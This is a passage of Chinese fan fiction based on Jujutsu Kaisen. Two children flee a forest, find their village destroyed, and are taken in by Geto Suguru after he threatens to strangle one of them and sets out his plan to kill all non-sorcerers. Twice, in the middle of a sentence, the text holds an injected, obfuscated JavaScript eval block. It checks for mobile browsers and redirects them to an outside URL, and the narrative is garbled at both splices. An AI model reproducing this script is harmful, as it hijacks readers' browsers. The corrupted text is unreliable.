在明确了前进的方向之后,他们迅速破开重重阻碍,向选定的方向冲去。里香不能一直飞得那么高,虎杖悠仁醒过来的时候恰巧撞上里香重新降落到地面附近。在它怀里睡得这一觉是虎杖悠仁这几天休息得最好的一次,尽管时间不长,可却极有效地缓解了他的疲惫。
“我们找到红房子了!”乙骨忧太迎着风大声将这个好消息告诉了他。
“真的?!”现在也没有人管他会不会喝风了,这样的消息无疑让他们振奋万分,不管迎接他们的是什么,总比继续待在森林里当野人要好得多。
每当遇到一个更糟糕的环境时,他们才会觉得以前那个糟糕透顶的地方其实也没那么难以接受,如果让他们选的话,恐怕选项永远会是回到以前的那个环境吧?
意识到这一点才是最可怕的。这意味着他们的生活永远都在向下走,他们就像是一块从山顶滚落的巨石,棱角被磨得圆滑,可这只会让他们滚落得更快。
他们花了四天的时间脱离了这片山林。身上的衣服发出一阵馊臭的味道,像是在垃圾桶里放了三四天的西瓜皮。虎杖悠仁的鞋子已经开胶了,脚趾露在外面。
只是两个饥肠辘辘、已经饿到没有进食欲望的孩子呆呆地看着眼前截然不同的村庄,一时不知道是否应该继续向前。
他们没有回到自己的村子,见到的红色也不是乙骨爷爷的红房子,而是一块被太阳炙烤到掉色发烫的屋顶。这里是旧村,这表示他们终究还是走向了相反的方向,没有走上离开森林的道路,而是径直从某个山谷里横穿了整片森林,来到了枷场姐妹在的村子。
怪不得他们走了那么久都没有离开森林。
虎杖悠仁还记得这个地方,从山坡上下去就是枷场姐妹的家。
有点不可思议地敲开门,枷场菜菜子被他们狼狈的样子吓了一跳:“你、你们这是?!”
虎杖悠仁不好意思地挠头,皱着眉毛笑了起来,询问她们能不能收留他们一段时间。
“我真的很想睡觉,就休息一天,拜托你们了!”
“......你们两个赶快去把这身衣服换下来,不洗干净不许进屋!”枷场菜菜子没有更仔细地询问他们究竟发生了什么事才把自己搞成这幅流浪汉的模样,她和美美子并不介意乙骨忧太和虎杖悠仁在家中借住。
洗掉满身的污渍,将已经完全穿不了了的衣服鞋子通通扔掉,枷场姐妹翻出了她们的旧衣服和旧鞋子。短袖和裤子对男孩子们来说稍微有些小,但现在并不是挑剔这些的时候。
“饿得太久之后要一点点地吃,不然都会吐出来......不要浪费东西。”
枷场菜菜子对此深有体会,在虎杖悠仁和乙骨忧太的推荐下囤在家里的泡面被热水泡开,她在两人开始动筷子之前警告他们不要狼吞虎咽。
“发生什么事了吗?”枷场美美子坐在他们对面,声音小小地问道,“他们都说你们那里出事了。”
枷场菜菜子抱着胳膊靠在桌子旁边,显然对这样的话题同样非常感兴趣。美美子没有说的是,大人们口中作乱的对象正是这两个狼狈不堪的孩子。
“......他们说死了很多人。”
虎杖悠仁夹起的面条掉回了碗里,他抬头没有说话,只是望着乙骨忧太。
黑发的孩子神色如常:“不是里香干的。”
虎杖悠仁挑起飘在面汤里的干葱花,将拉面卷到筷子上,让温暖的食物一点点填充着跟着他遭了几天罪的胃。
“......”枷场姐妹对视了一眼,立刻选择相信了自己的朋友。
“你们是从森林里跑出来的?!从哪里?!山上?!”
在乙骨忧太简单说了他们这几天的经历之后,枷场姐妹同时发出惊呼。他们不太熟悉旧村,但枷场姐妹却了解得很清楚。旧村几乎四面环山,不像虎杖悠仁他们那个村子,只有两面靠着山,被夹在两座山之间。村里人的林场开在另外的山头,乙骨忧太他们跑出来的地方翻过山去再走过一条峡谷就是那片传说有神明居住的森林。
即便有里香,也很难想象居然有人能横穿那片森林。
虎杖悠仁叼着面条开始打瞌睡,差点直接将脸怼进面汤里。
枷场美美子见状直接收走了他手中变得危险的筷子,帮着菜菜子拿出一床被子铺在地板上,把男孩子们赶去休息。
“真的麻——”乙骨忧太的话音未落,就被枷场菜菜子打断了。
“没关系,你们就住在这里也没问题。”
枷场美美子赞同地点头。反正不可能是他们的错,一定是有可恶的家伙说谎话,把不属于他们的错误归咎到了他们头上。因为他们、她们是孩子,又是众所周知的怪物,不论发生什么事只要推到怪物的头上,一切就都有了理由。
她们讨厌这村里的所有人。
虎杖悠仁倒头就睡,乙骨忧太很快也疲倦地睡着了。枷场姐妹除了去买吃的之外几乎从不出门,就算出门也会选在街上没什么人的中午或晚饭时间,这样能够尽可能减少碰到讨厌的家伙的概率。
折腾半天之后,很快两个女孩也缩在床上沉沉睡去。
虎杖悠仁醒来的时候觉得眼皮重得好像有人将他的上下眼睫毛拴在了一起,屋子里依旧昏暗无比,他缓了一会儿,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378174|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忽然一个激灵坐了起来,引得围坐在桌子旁的三个人扭头看向他。
粉发的孩子瞪着眼睛,一头短翘的头毛睡得满天乱飞,他用手拍着胸脯喘着气说:“吓死我了,我还以为我们还在森林里。”
乙骨忧太说:“悠仁还可以再睡一会儿,没关系的。”
因为刚才那一个激灵而彻底清醒过来的虎杖悠仁摇了摇头,他双手抓了抓头发,回头看向窗户。
从外面封上的木板依旧没有被撤掉,所以窗户既无法打开,也没办法让光照进来,因此屋子里永远都是这样黑漆漆的。不过白天的时候会有阳光从缝隙中漏进来,适应了的话就算不开灯也能行动。
“木板还在啊。”虎杖悠仁上次过来还是快两个月前。
“如果撤掉的话他们肯定还会再来的。”枷场姐妹显然决定就这样一直保持现状。屋子需要通风的时候她们会在早上或晚上把房门打开。
就算她们把窗户封上,偶尔还是能听到那群讨厌的家伙围在院子周围唱着改编过的歌,只要枷场菜菜子怒气冲冲地举着刀冲出来,他们就会一哄而散。
久而久之,她们也学会了无视他们。
“每次看见他们脸上的笑,我就觉得恶心,”枷场菜菜子愤愤地说,“做这种事究竟有什么好笑的啊?他们和我们真的是同一种生物吗?看起来更像是狗或者猴子之类的听不懂人话的东西!”
乙骨忧太听着她的抱怨,不知道该说些什么。
“你们之后准备怎么办?先在我们家住下吧,说不准那些人都等着你们回去,好把你们抓起来泄愤呢。”
比起这个,乙骨忧太其实更好奇村子里死了很多人的传言。
“我们也只是偶然听到的,”枷场美美子摆弄着玩偶,“我们没办法问得更清楚。”
村子里没人会主动和她们搭话,也不会有人会回应她们。
“我想回去看看,”虎杖悠仁说,“至少找机会把我们存起来的钱带走。”
“那在这之后呢?你们要去城市里吗?”
“不知道诶......也许一边旅行一边找住的地方吧?”
乙骨忧太没有搭话。
他们在枷场姐妹家住了将近半个月才开始准备回到村子里看看。原本计划第二天就动身,可没等他们准备好,枷场姐妹就带来了一个坏消息。她们听说那个村子真的出了大事,连电视新闻里的警察都特意跑到山村里来了,报纸上居然也看见了新闻报道,说是因为自然灾害死了很多人。
没有下雨、没有山洪、没有滑坡,那个自然灾害指的是什么,乙骨忧太和虎杖悠仁心里非常清楚。
一定是它!那天夜里只有虎杖悠仁感受到了它经过的气息,也许正是因为恐惧那股气息才让他们下意识地选择了与它前进的方向相反的路,深入了森林。
枷场姐妹听说不少没亲没故的尸体都被堆在一起烧掉了,活下来的人被带到了城市里安置,那个村子已经没有人住了。旧村里的不少人都说要去那边看看,如果有机会拉回一点没人要的家具或者翻到一点藏起来的钱都是一笔不小的财富。
乙骨忧太和虎杖悠仁是夜里动身的,他们和枷场姐妹告别之后,趁着今夜月色正好,叫出里香带着他们踏上了回家的道路。
深夜并不利于他们寻找藏在森林边缘的那条近道,为了避免再一次迷路,他们走了更远一些的大路,虽然岔路更多一些,但胜在宽敞。
天快亮的时候,他们终于见到了熟悉的田埂。
那个恐怖家伙的气息已经彻底消失了,这让乙骨忧太和虎杖悠仁松了一口气。不过既然有警察来处理案件,那么那家伙不是离开了就是被消灭了,会是灰原雄做的吗?
今天的天是灰色的,太阳升起的方向染上了一些橙色,不过像是被加了很多水的橘子汁一样,颜色淡淡的。
“这是......?!”
站在里香的肩膀上,他们惊讶地张大了嘴巴。不怪他们没见过这样的阵仗,就算有见多识广的科学家站在这里也没办法轻易解释这样一个像是将附近地面挖掉一勺的巨大坑馅究竟是怎么形成的。
虎杖悠仁想了半天,憋出一个词:“陨石?”
难道报纸上说的自然灾害是真的?有陨石恰恰好好砸到了他们的村子里,在地上砸出这样一个大坑吗?
巨木依旧立在那里。
这样的村子当然没有办法继续住人,近乎有小半个村子都在“陨石坑”内,剩下的地方也都变得破破烂烂,偶尔能够看到像是饼干屋一样被压扁的结构。
到处都是残留的“光”,尤其是“陨石坑”旁边,几乎要闪瞎他们的眼睛。
在断壁残垣和散落着建筑垃圾的土路上,发黑的血迹随处可见,鼻腔被消毒水的味道填满了。
奇迹般的是,他们的小屋还在。乙骨忧太试着敲了敲红房子的门,不过很久都没有人回应,看来爷爷也离开了这里。
乙骨忧太试了一下,浴室里的水龙头已经用不了了,但院子里的水管里还有水。屋子里的一切完好无损,他还担心那些人会不管不顾地闯进家里,把这里搞得一团糟才肯罢休。
虎杖悠仁一到家就跑到了阁楼去,找到了他们存下来的那些钱。
在决定好今后究竟应该如何生活之前,他们还可以暂时在这个家里住上一段日子。
36. 第 36 章
虎杖悠仁甚至觉得这样的生活很舒服。
偌大的村子里一个人都没有,野猫野狗代替人类成为了街道上的行人,他不必避开它们,可以随意做自己想做的事。真的有旧村的人拉着推车跑到了村口,显然他们也被那大得不正常的坑洞吓到了,不过他们并没有放弃。
乙骨忧太和虎杖悠仁躲在半山腰看着他们的动向,那群人去了北边,看起来从那片废墟中找到了不少好东西,没有向南走就拉着满满当当的推车离开了。
等他们走了之后,乙骨忧太和虎杖悠仁去了神社。
神社有一半的面积都在那个坑馅内,社务所在的位置也消失得无影无踪,本殿则被砖瓦埋了起来。
他们从便利店的废墟中找到了很多还能吃的东西,像是旧村的那群人一样将它们搬上了小推车。
“忧太,你要和家里人打电话吗?”
就在乙骨忧太搬动成箱的泡面时,虎杖悠仁站在两块墙砖之间,他的手里攥着电话听筒,奇迹般地从里面听到了等待拨号的声音。
“那个电话居然还能拨通吗?”
乙骨忧太拍拍手,示意虎杖悠仁过来帮他推车。
“你不打吗?”
“不打了吧,”乙骨忧太在前面,虎杖悠仁见状将听筒放了回去,跑到推车后面,“这样就好。”
在只有他们的村子里,他们可以做任何想做的事。巨木附近每天都会发出“咚咚”的声音,那是果实从树顶掉下来砸在地面上的声响。虎杖悠仁将那些酸涩的果子踢开,任由它们腐烂。
他们去了从没仔细观察过的村子北边,陌生的街道在变成废墟之后更难辨认,有几只长得白白胖胖的野猫趴在墙头上舔爪子。人类的消失对它们来说并没有坏处,反而让它们变得更加自在了起来。
饿了就去捉老鼠和小鱼,不需要避开调皮的人类幼崽和会用木棍驱赶它们的大人。
虎杖悠仁觉得这样的生活很好,但似乎......
乙骨忧太放下手中的毛巾,疑惑地看着他从桌边挪到了床上,又跑到了窗户边靠着。
琥珀色的瞳仁抬起又落下,快速得像是乙骨忧太的幻觉,那视线轻飘飘地扫过他的皮肤,恍若无物。
虎杖悠仁这个样子倒是少见,乙骨忧太突然生出了一些坏心思,明明看出他有话想说,偏不主动开口,就等着他忍不住了主动说出来。
“......”粉发的孩子张了张嘴巴,他分明看见乙骨忧太嘴角翘了起来,霎时反应过来这个人在看他的笑话,鼓起脸颊,索性一口气将心里想的事全都倒了出来:“忧太,我们不能老待在这里。我仔细想了一下,我觉得这里的人就是因为没有电视又没有手机,也根本不看报纸才变得这样脑子不正常的!”
他分析得头头是道,在屋子里走来走去地说:“你看,会去城里的店主就比其他人正常很多,如果我们一直待在这里的话也会变得像村里人一样!而且,我们也得想办法让里香成佛,光是待在这里没办法知道她到底有什么未了的心愿......我们还是要回去,最好还是去仙台。”
但是在仙台这样的城市里,他们绝对会被当做走失的儿童带去警察署,万一不得不分开......虎杖悠仁还没想过和乙骨忧太分开的未来。他似乎早已熟悉身边有乙骨忧太一直陪伴着自己,就仿佛他们从出生起就形影不离,以至于连他们初遇都变得不那么清晰,大脑需要反应好一会儿才能想起来在公园滑梯下发生的事。
他站在房间的中央停了下来,乙骨忧太看他的眼神极认真,这倒是让虎杖悠仁觉得有些不自在,别扭地挠挠头:“我们绝对不能像他们一样。”
他听到了一两声轻笑,抬眼望过去的时候,看到乙骨忧太神色平静地笑着。虎杖悠仁觉得自己已经很久没有见到乙骨忧太这样笑过了。
“悠仁想去找妈妈吗?”
虎杖悠仁立刻摇了摇头。乙骨忧太看着他,虎杖悠仁梗着脖子坚持了一小会儿,又微不可查地点点头。
他立刻解释了起来:“但我不是非要找她不可,而且她......我想见的是自己真正的妈妈。”
乙骨忧太感受到周围的空气似乎都随着虎杖悠仁心情的低落而变得浓稠起来。如果说这个世界上谁还能为他们提供帮助,思来想去就只有虎杖悠仁那个神秘的妈妈。
不过,那日在公园里带走虎杖悠仁的是一个男性。妈妈是男性,爸爸也是男性,那悠仁又是从哪里来的呢?
这大概就是虎杖悠仁觉得自己的“妈妈”不太对劲的原因?他向乙骨忧太解释过那种感觉,可惜黑发孩子没有办法很好地领悟到其中的关窍。
城市里不像偏僻的乡下,那里是个很讲规矩的地方,一旦被发现他们无家可归,就会有各种机构来调查他们的来历......乙骨忧太不想被送回自己原来的家,那里已经没有他的位置了。大人们说得含蓄,可他已经不是什么都听不懂的孩子了。
虎杖悠仁跟着自己来到乡下这件事并没有告诉他的妈妈,可是生活费和那台相机还是精确地送到了他们手上。乙骨忧太毫不怀疑离开这里之后,虎杖悠仁的妈妈同样也能知道他们的下落。
在发现虎杖悠仁确实无处可去了之后,她会不会再一次从他眼前将这孩子带走?
大人的纵容都是有限度的,也许等到虎杖悠仁的妈妈觉得不该再让他这样漫无目的地活着,就会以谁也阻止不了的态度带他走。
“我不想和悠仁分开。”乙骨忧太说。
这不仅仅是一个约定、一份承诺,也是真心。在哪里生活都好,去找虎杖悠仁的妈妈,又或者两个人一起被送进福利院,或者就这样在这个村子生活一辈子......乙骨忧太轻而易举地就许诺出了太过漫长的时间,那是比他现在活过的年岁要长得多得多的岁月。
“我也还想和忧太一起看星星。”虎杖悠仁回答道。
他们决定在最后的食物吃完之后就启程去找虎杖悠仁的妈妈。他们的生活总会变得更糟,幸运的是两个孩子并没有因此失去继续前进的勇气。一个能够看见咒灵、能够提供生活费和住处的监护人是现阶段最适合他们的选择,更遥远的未来——也许能够被称之为是梦想的东西——从未改变。
长大,赚到足够的钱,然后去旅行。这个国家在地图上只有小小一个,他们可以去到海洋的彼岸,去到南极和北极,认识各种各样的人,寻找让里香成佛的方法。
虎杖悠仁觉得乙骨忧太会喜欢这样的生活。他其实渴望着能够与人相交,所以才会在因为无法控制里香不去伤人而被迫远离人群之后变得这样痛苦。虎杖悠仁希望乙骨忧太也能找到自己想做的事,至少这样在生活变得一团糟时也还能继续保持微笑。
从山顶滚落的巨石遇到了一道坎,被颠了一下,拐上了另外一条路。
房门被敲响的时候,乙骨忧太的第一反应是叫出里香。屋里很黑,他只能勉强看清楚房屋里家具的轮廓,天空似乎被什么灰蒙蒙的东西罩住了,透亮的月光被拦在了天上。
门外传来了说话的声音。
笃笃。
“忧太!悠仁?你们在吗?”
是枷场菜菜子。乙骨忧太回头,往日以睡眠质量自豪的虎杖悠仁此刻居然也机敏地睁着眼望向门口。她们从来没来过这个村子,而且,现在可是半夜啊?
鬼使神差地,虎杖悠仁拿起了刀。
“他们没听到吗?”
“应该是睡着了?”
枷场姐妹的声音他们听得很清楚,让虎杖悠仁如此警惕的原因是里香已经开始对着门口呲牙,它一反常态地没有发出威慑的怒吼,而是无声地警惕着。
还有,除了枷场姐妹之外的那个声音。
“稍微退后一些。”
夏油杰揽着两个女孩向后退出了一些距离,通向虚空的通道已经在身后打开,就在白色的咒灵从屋子里破门而出的瞬间,巨大的虹龙比它更快地扑了上去,将里香撞离了原地。
“......居然是式神使?”
在感受到那异乎寻常的庞大咒力的瞬间,经验丰富的黑发咒术师——或许不久之后就该改口称他为诅咒师——已经再度召唤出数只咒灵。
被他挡在身后的女孩们大喊着男孩子们的名字,但显然屋子里的人根本听不进去。
夏油杰看清了屋子里两个孩子的模样。已经觉醒了术式、能够召唤式神的是那个黑头发的,另外一个看起来身上也裹挟着咒力。
不是猴子。
“别紧张,”他试图让紧绷着神经的乙骨忧太和虎杖悠仁放下戒心,“你们和菜菜子、美美子认识吧?”
“夏油大人!请不要伤害他们!他们和那些人不一样!!”
“......里香!!”
对话是无效的,感受到威胁的里香隐隐有些失控的趋势,乙骨忧太本人因为看到里香被那条龙一样的咒灵压制而愈发焦急。他已经看见站在枷场姐妹身前的那个人的旁边出现了新的咒灵。
“保护虎杖悠仁”成了优先程度最高的选择,危机关头爆发出的力量汇聚了传承自血脉的天赋与浓重的情感,让与其紧密相连的过咒怨灵进入了完全解放的状态,彻底失控。
“啊......啊——不许靠近他们!!!”里香发出一声尖利的号叫,身形膨大了数倍不止,彻彻底底将自己和虹龙之间的体型差距倒转了过来。
夏油杰让咒灵带着枷场姐妹远离这里,他必须先想办法让这个看起来已经接近特级的过咒怨灵安分下来。他的视线落在了站在被破坏了一部分的房屋前的两个孩子。身为式神使,他知道咒术界公认的式神使的弱点。
两只能力偏向禁锢的咒灵被他召唤出来,向乙骨忧太的方向飞了过去。
想要对付式神使,选择先制服术师本人是更精明的选择。前提是术师本人并不擅长战斗,也没有能够保护自己的能力。
夏油杰和乙骨忧太都没有想到,率先动起来的竟然是虎杖悠仁。
粉发的孩子扯住了乙骨忧太,将他的手腕攥得死紧,仿佛害怕但凡一松手他就会消失了一样。虎杖悠仁只向前迈了一小步,周围的一切都仿佛被按下了静止键。
被里香冲破的天花板还往下簌簌落着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378175|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灰尘,然而那些细小尘埃的行动轨迹却在靠近两个孩子头顶时变得可疑了起来。它们像是落入了水中,没有径直向下坠落,反而向四周分散飘开。
夏油杰看到自己的两只咒灵突然停下了前进的脚步,身体不由自主地向上飘了起来,无论怎么摆动都无济于事。
范围在半径2-3米,持续时间尚不明确的失重空间——那孩子也有术式!
乙骨忧太的脚还稳稳地踩在地上,看见他们交握的双手,夏油杰确信在术式生效的范围内,只有被虎杖悠仁接触到的东西能够免除术式效果。
“......你到底是谁啊?你这个怪刘海大叔!!”
稚嫩的声音虚张声势地向夏油杰吼道,听着虎杖悠仁的声音,乙骨忧太奇迹般地安下心来,躁动被抚平的瞬间,连里香的攻击性都慢慢衰退了一些。
怪、怪刘海......算了,反正不是第一次被人这样说。夏油杰在心里默默计算着时间,就在虎杖悠仁说完话后几秒钟,那个无形的失重空间消失了。伴随着两个孩子惊慌地叫喊,夏油杰的咒灵将他们困得严严实实,各自只留下一个头还能自由活动。
远处的里香重新变得暴躁起来,抓住虹龙的头向地上砸去,传过来的震动让夏油杰都有些担心虹龙的硬度能不能承受得住。自从被伏黑甚尔砍过之后,他不再盲目地相信虹龙坚硬的表皮了。
“你给我放开啊!!”虎杖悠仁哪怕手脚都被捆得严严实实,也能像个炮弹一样从地上弹起来,用头槌撞向夏油杰的肚子。
只可惜这样的攻击在年轻的特级咒术师面前还是太过幼稚,夏油杰用了个巧劲将虎杖悠仁卡在了胳膊下面,绕过来的手臂掐着他的脸,对咬牙瞪着他的乙骨忧太说道:“先让你的式神安静下来,否则的话我就扭断他的脖子。”
咒术师冰冷的手指从孩子温度极高的脸颊挪到了脖子上,冻得虎杖悠仁打了一个哆嗦。而不轻不重搭在致命处的威胁让他不由自主地吞咽了一下,视线落在同样挣扎无果的乙骨忧太身上。
遮住月光的灰色乌云终于挪开了,让几缕月光落了下来,照亮了夏油杰的脸。
乙骨忧太看到他的脸上、身上沾满了血迹,哪怕正在用一个孩子的性命威胁着他,嘴角却依旧挂着微笑。微微眯起的眼睛里面没有温度。
“......我知道了,你放开他,”乙骨忧太低下了头,他向现实状况妥协了,“但是里香一旦生气起来不是我能控制得了的——”
夏油杰的手上加了几分力气,虎杖悠仁感受到喉管被捏住,对可能窒息的恐惧让他拼命将脖子向后扬,企图摆脱制住自己的手。但这同样是徒劳无功的挣扎。
“!!”乙骨忧太咬着牙,在心中一遍遍地呼唤里香,安抚着内心的不安,收缩的黑色瞳孔始终盯着扣在虎杖悠仁脖子上的手掌。白色的咒灵终于回应了他的祈求,松开了虹龙,回到了无法动弹的乙骨忧太身边,将半个身子沉入影子中。
在夏油杰的逼迫下,乙骨忧太终于让里香不情不愿地回去了。
经过一番波折,四个小孩和一个......大人?五个人待在没了门的屋子里,乙骨忧太和虎杖悠仁靠坐在床脚,缩着身子依旧满眼警惕。夏油杰看着像是炸毛的猫一样向他哈气的两个小孩,有些无奈地摁着额头。
“......你们身上的伤是怎么回事?”虎杖悠仁问枷场菜菜子。
她们身上青一块紫一块,眼眶肿起。脚上的鞋子一看就不是她们自己的,大了好几号。
那群流氓一样的孩子惹恼了她们,因为为首的男孩先动了手,最终演变成了肢体冲突。她们被大人们围在中间打倒,关进了木牢。
“都是那群猴子!不过,夏油大人已经解决了所有的问题!”眼睛还是很疼,可枷场菜菜子从没感觉这么快乐过。
她们被从木牢里放出来的时候,一切都已经结束了。冰冷的蓝色火焰烧尽了那些面目狰狞的恶人的哀嚎,她们找到了自己的救赎......将她们从这个烂地方带了出来,夏油杰就像让她们重新降生于世的“母亲”。
世界已经变得不一样了。
“呐,悠仁,忧太,你们和我们一起走吧?”
乙骨忧太觉得她们像是叽叽喳喳的雏鸟,而且,猴子又是指什么?
虎杖悠仁看了一眼任由他们说话的夏油杰,这个留着古怪刘海、梳着丸子头的人看起来非常疲惫,眼睛下面有特别明显的青黑,但眼神却冷得可怕。虎杖悠仁不知道怎么形容他见到这个人时的感觉,除了脖子被他握在手里时的恐惧,虎杖悠仁觉得他身上有一种非常奇特的氛围。
夏油杰对视线十分敏感,更何况虎杖悠仁根本没有隐藏视线的意思。
他挑起了眉毛。粉发的孩子从地上爬起来,径直走过桌子旁边,从橱柜里拿出了药箱。没办法叫里香出来,所以只能用普通的手段为枷场姐妹处理一下伤口。
“......”虎杖悠仁和同样起身凑过来的乙骨忧太一起帮她们涂抹着药膏,粉发的孩子将几块纱布和酒精放在桌子上,推向了撑着脑袋坐在那里纹丝不动的夏油杰。
37. 第 37 章
“你叫悠仁?”夏油杰接过纱布,随意撒上酒精将它打湿,擦掉皮肤上的血迹:“抱歉,脖子有不适吗?”
虎杖悠仁摇头。
夏油杰没注意到自己的下巴和侧颈上也沾上了血,他将染上淡红色的纱布折叠起来,看着桌面说道:“你们也跟我一起走吧?菜菜子和美美子和我说过你们的事了。”
“......猴子是什么意思?”乙骨忧太开口问道。
“猴子就是猴子。”夏油杰回答。
枷场姐妹变得有些不一样了。虎杖悠仁用冷水打湿毛巾,卷在一起让她们冰敷肿胀起来的地方。
无法开化的愚民、没有咒力的非术师、用弱小的身躯犯下蛮行的罪人。
“这世界上弱者众多,弱肉强食才是常态,可他们却反过来压迫强者、限制我们的力量......这就形成了一种矛盾。”
夏油杰的手指点在桌子上,哒哒的声音与墙上依旧走动着的钟表重合在一处:“这个村子,你们、她们,就是最好的证明。”
灰原雄被送回高专的时候,尸体只剩下了上半身。原本准备第三天前往支援的七海建人亲自为灰原雄收殓残缺的尸身,这显然让他受到了不小的冲击......与自己朝夕相处、同龄的同期以这样的方式草率地结束了生命,夏油杰能够对此感同身受。
也因此选择任由幻想中沉重的鲜血将自己吞没,放开那根蛛丝,掉下地狱。
不,这世界本身——
“所以你惩罚了他们?”
夏油杰不想再多纠结,事情既已发生就再没有回头的方法。灰原雄的死讯传回来之后,五条悟就过来处理掉了在村子里制造血案的一级咒灵。轻轻松松,【无下限咒术】的吸引之力汇聚成了苍蓝色的球体,将咒灵连同小半个村庄一并压碎。
走在那个巨大坑馅旁边的时候,夏油杰还有心情调侃不愧是五条悟的手笔,不论看过多少次都会被那耀眼的咒力吸引。哪怕只是残秽。
虎杖悠仁没有说话,他站在乙骨忧太身边,和他一起沉默地等待着夏油杰的回答。
“你们是兄弟?虽然长得不太像。”
“是家人。”虎杖悠仁小声回答。
没有得到答案,乙骨忧太的眼睛转到了一旁。他其实已经从夏油杰和枷场姐妹透露出的只言片语中推测出了全部的真相。
“......家人吗?”这种称呼让夏油杰恍惚了一瞬,随即沉思了起来。
夏油杰很强。乙骨忧太理性地分析,他和虎杖悠仁两个人一起也绝对打不过夏油杰,但是只是逃跑的话,应该没问题。
“你叫他们猴子,是因为觉得他们没办法听懂你说的话吗?”虎杖悠仁问。
“嗯,算是吧,”夏油杰一眼就看出了乙骨忧太的想法,他只是轻轻摸了摸菜菜子和美美子的头,“非术师和我们咒术师在生理结构上有本质的不同。”
夏油杰伸出一根手指,点了点自己的脑袋:“在大脑的某个位置,咒术师天生就和非术师有全然不同的构造。我们生来就有术式,这是得天独厚的力量。”
虎杖悠仁从夏油杰口中认识到了咒术的世界。
夏油杰将非术师排除出了人类的范畴,将他们称为猴子。他用最平淡的语气说出了最可怕的理想——也许早就在他的心里生根发芽,直到今天才开花结果——他要除掉世界上所有的非术师,创造一个只有咒术师的世界。
“这种事情、怎么可能做得到啊?”乙骨忧太弓起身体,难以置信地反驳道。
这简直就像是在说“我要打死世界上所有的蚊子”一样,是天方夜谭。
不单单是做不做到的问题,这样的事一旦开始,会得到原谅吗?会被人理解吗?会让自己得到安宁吗?
虎杖悠仁向后退了半步,不可接受地摇头:“这怎么能......?!”
“夏油大人救了我们!多亏了他,我们才能活下来......悠仁,忧太,”枷场菜菜子突然打断了他们的话,她的左眼还肿到没办法睁开,带着满身的伤痕喊道,“夏油大人说的世界难道不好吗?你总说要做正确的事,那对我们来说就是正确的!我们可以不用被歧视,不用被当做怪物,有同类,可以幸福生活下去,我!!我......”
她抬起头,眼泪却已经溢了出来,晶莹的泪滴看得虎杖悠仁心惊胆战,胸腔内翻江倒海,抓不住可以固定自己的船锚:“我真的很想过上这样的生活啊。”
枷场美美子的玩偶拖在地上,原本被虎杖悠仁缝好的地方再一次绽开,棉花从里面掉了下来。她从背后抱住了自己的姐妹,和菜菜子一起流着眼泪。
“如果想要追求正确,”夏油杰的眼神带上了冷漠的怜悯,他慈悲地看着瞪大眼睛呆愣在原地的粉发孩子,仿佛在哀悼他天真的信条,“会被这世界拆得七零八落,吞吃入腹,什么都不会留下。”
他好似是在和虎杖悠仁说,眼睛却瞟向了乙骨忧太。
这是两个相依为命的孩子,可能由于他们曾是彼此见过的唯一同类,所以便像刚刚降生就失去了母亲的幼猫一样,因为缺乏安全感而相互抱紧,一旦有人试图将它们分开就会凄厉地嚎叫,做出无用的挣扎。
夏油杰需要同伴,为了那所有人眼中根本不可能实现的目的,他需要“家人”。
这四个孩子都有成为咒术师的天赋。
非咒术世家出生的小咒术师们必然会被周围的环境排斥,陷于不被信任、不被理解、不被包容的可怕境地。术式和咒术明明应该是值得他们骄傲的东西,却只是因为与众不同而变成了被孤立的理由。
夏油杰看着这些孩子们,想到了没有被“窗”发现时的自己。
“但是,就这样杀死所有人吗?也许有人、他们都不知道咒灵是什么,也许这辈子也不会和我们相遇,这样的人也......”
夏油杰叹息着笑了一声,呼出长长的一口气。
过早成熟的孩子们已经开始思考连大人都无法给出答案的问题,早慧固然值得欣慰,可由此也过早地将找不到答案的痛苦塞入了他们尚不够坚强的身体。不论是外部还是内部,他们承受着远超同龄人的重担,那是思考必然会的诞生副产物。
所以他们心思纤细,内心敏感,如果不能尽快变得强大起来,过早凋谢已是目之所及的未来。
“这样吧,”夏油杰换了个姿势,他选择先说服乙骨忧太他们留在自己身边,“反正你们之后无处可去,我来保证你们直到成年前的生活保障,在这期间我不会强迫你们认同我的想法,成年之后的去留你们自己决定。”
“悠......”
“好!”虎杖悠仁直接答应了下来。
乙骨忧太本来还想说些什么,可在虎杖悠仁做出决定之后,他也自然而然地认同了这个选择。夏油杰歪了歪头,刘海扫过脸侧。他们之间相处的方式比他想象得更复杂,也更加牢不可分。
只是,世上没有不会结束的缘分。有始有终都已经算是不可多得的结局,多少人以为未来注定的分离和他们是那样遥远,殊不知只是一眨眼、一转身,缘分就可以那样简单地断掉。
“但是,”虎杖悠仁声音里的疑惑简直要变成实质,怼到了夏油杰的脸上,“夏油先生你能养得起四个小孩吗?我很能吃的。”
夏油杰将手伸向他的头发,手掌靠近的时候虎杖悠仁下意识地想躲,但看着围在夏油杰身边的枷场姐妹,还是控制着自己没有动。
只是夏油杰揉他头发的力道有些重,似乎带着点哭笑不得的怒气。
好在他很快就将手抽走了,转移话题道:“我们现在就出发吧,很快就会有人过来了。”
“现在吗?”
外面的月光又被云朵挡住了,从刚才开始就一言不发的乙骨忧太拉着虎杖悠仁,走出房间后才注意到远处面向旧村的山腰被蓝色的光照得亮如白昼,将树冠衬得一清二楚。枷场姐妹几乎亦步亦趋地跟在夏油杰身后,虎杖悠仁觉得他们像极了河边草丛里生活的那群野鸭子。
